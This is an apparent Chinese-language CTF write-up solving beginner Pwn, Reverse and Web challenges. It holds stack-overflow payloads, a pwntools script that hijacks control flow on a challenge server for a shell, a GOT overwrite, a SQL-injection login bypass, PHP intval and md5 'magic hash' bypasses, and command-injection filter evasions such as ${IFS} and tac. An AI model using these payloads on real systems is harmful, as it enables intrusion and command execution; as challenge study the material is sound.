写在前面:

emm,感觉题目由易到难还是比较适合新手的,学到不少

Pwn

getshell



简单的栈溢出

payload = ‘a’ * 0x18 + ‘aaaa’ + p32(0x804851B)

getshell-2

image-20200330233350477

这道题和上一题类似。。。

只是说用sh也行,libc弄了好久结果还有点小问题,按D转化为Data获得sh的位置0x08048671然后添加到call system的地址后

image-20200330233743525

payload=‘a’*(0x18+4)+p32(0x08048529)+p32(0x08048670)

number_game

在v1 = -v1后仍然要小于0,怎么实现呢

取负就是~a+1,0xf000 0000可以实现

Closed

image-20200330235539831

close(0)close(1)close(2)分别对应着输入输出和报错,这里意味着连到sh后没法看到输出

Solve: sh 1>&0

就是把标准输出重定向到标准输入

参考:https://www.cnblogs.com/caolisong/archive/2007/04/25/726896.html

NameYourCat

image-20200331003211524

image-20200331003221815

这里先把NameWhich的参数改为char *(原来是int),看到是一个写入数组的,并且调用了五次,数组是char[40],a3的大小是0x34,那么其中有一次写进去就好

7的原因是(0x34+4)/8

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
r = remote('106.12.48.20', 12337)
def nameit(v2, s):
r.sendlineafter('which?\n>', str(v2))
r.sendlineafter('e plz: ', s)
nameit(0, 'a')
nameit(0, 'a')
nameit(0, 'a')
nameit(7, p32(0x080485CB))
nameit(0, 'a')

r.interactive()

NameYourDog

image-20200331004451037

image-20200331004439903

这道题的Dogs在bss段。而且是可以对GOT表写入的

那么

image-20200331005638842

image-20200331005652094

(0x0804A028-0804A060)/8=-7

把scanf的地址写为shell函数的地址,那么下一次调用scanf时候就会直接调用shell函数。exp就不写了

这里再整合一下Got表和Plt表

来源:http://jing0107.lofter.com/post/1cbc869f_8b3d8a5

GOT表:

概念:每一个外部定义的符号在全局偏移表*(Global offset Table)*中有相应的条目,GOT位于ELF的数据段中,叫做GOT段。

作用:把位置无关的地址计算重定位到一个绝对地址。程序首次调用某个库函数时,运行时连接编辑器(rtld)找到相应的符号,并将它重定位到GOT之后每次调用这个函数都会将控制权直接转向那个位置,而不再调用rtld。

PLT:过程连接表(Procedure LinkageTable),一个PLT条目对应一个GOT条目

当main函数开始,会请求plt中这个函数的对应GOT地址,如果第一次调用那么GOT会重定位到plt,并向栈中压入一个偏移,程序的执行回到_init()函数,rtld得以调用就可以定位printf的符号地址,第二次运行程序再次调用这个函数时程序跳入plt,对应的GOT入口点就是真实的函数入口地址。

动态连接器并不会把动态库函数在编译的时候就包含到ELF文件中,仅仅是在这个ELF被加载的时候,才会把那些动态函库数代码加载进来,之前系统只会在ELF文件中的GOT中保留一个调用地址.

Reverse

level1

output.txt里面是19行

image-20200331014234213

img这里刚好19次

imgctf2020{d9-dE6-20c}加个wOK

level2

image-20200331014335988

这个一看就不对劲,加了壳

image-20200331014641672

GitHub上有upx工具,不过试试看brew里有没有upx

诶嘿还真装上了

image-20200331015506692

进去就看到flag了

level3

image-20200331020333291

看到一个base64密文,但是解码不对,有两种可能,一种是加密方式变了,一种是密钥变了,看简单的。

image-20200331020512333

可以看到被O_OLookAtYou调用的,这里有两点注意:

  1. 一开始只能看到两条,得在option->general->cross…>cross reference depth改多一点
  2. 这个函数实际上是在init被调用的,可以用xref看到

image-20200331020736940

看看逻辑就是0-9和19-10换了一下,之后就成功了

Web

由于很萌新啊(自己,不是题目2333)

就记录下遇到的几个绕过

admin

万能密码password = ‘1’ or(1)#

emm

朴实无华

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>

intval()

首先第一个,intval()对于16进制的有问题,0x1234,直接识别是0,加1后就是0x1234+1这个数了

md5()

得找到一个0e开头的,md5后仍为0e的

http://0sec.com.cn/2018-04-26/

0e215962017是可以的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!python2
import hashlib
import re
def MD5(data):
return hashlib.md5(data).hexdigest()

def main():
a = 100000000
while True:
data = '0e' + str(a)
data_md5 = MD5(data)
a = a + 1
if(re.match('^0e[0-9]{30}',data_md5)):
print(data)
print(data_md5)
break
if(a % 1000000 == 0):
print(a)
if __name__ == '__main__':
main()

跑脚本也行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#比较md5
QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

#双md5
CbDLytmyGm2xQyaLNhWn

md5(CbDLytmyGm2xQyaLNhWn) => 0ec20b7c66cafbcc7d8e8481f0653d18

md5(md5(CbDLytmyGm2xQyaLNhWn)) => 0e3a5f2a80db371d4610b8f940d296af

770hQgrBOjrcqftrlaZk

md5(770hQgrBOjrcqftrlaZk) => 0e689b4f703bdc753be7e27b45cb3625

md5(md5(770hQgrBOjrcqftrlaZk)) => 0e2756da68ef740fd8f5a5c26cc45064

7r4lGXCH2Ksu2JNT3BYM

md5(7r4lGXCH2Ksu2JNT3BYM) => 0e269ab12da27d79a6626d91f34ae849

md5(md5(7r4lGXCH2Ksu2JNT3BYM)) => 0e48d320b2a97ab295f5c4694759889f
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# -*- coding: utf-8 -*-
import multiprocessing
import hashlib
import random
import string
import sys
CHARS = string.letters + string.digits
def cmp_md5(substr, stop_event, str_len,. start=0, size=20):
global CHARS
while not stop_event.is_set():
rnds = ''.join(random.choice(CHARS) for _ in range(size))
md5 = hashlib.md5(rnds)
value = md5.hexdigest()
if value[start: start+str_len] == substr:
print rnds
stop_event.set()
'''
#碰撞双md5
md5 = hashlib.md5(value)
if md5.hexdigest()[start: start+str_len] == substr:
print rnds+ "=>" + value+"=>"+ md5.hexdigest() + "\n"
stop_event.set()
'''

if __name__ == '__main__':
substr = sys.argv[1].strip()
start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
str_len = len(substr)
cpus = multiprocessing.cpu_count()
stop_event = multiprocessing.Event()
processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
stop_event, str_len, start_pos))
for i in range(cpus)]
for p in processes:
p.start()
for p in processes:
p.join()

来源https://www.k2zone.cn/?p=2019

上面脚本注释部分是双MD5碰撞,取消注释然后注释掉16行即可。

使用方法:python md5Crack.py “你要碰撞的字符串” 字符串的起始位置

例如:python md5Crack.py “0e" 0

将产生MD5值为0e开头的字符串。

cat 空格

cat可以用tac或者more,空格使用 %09,${IFS}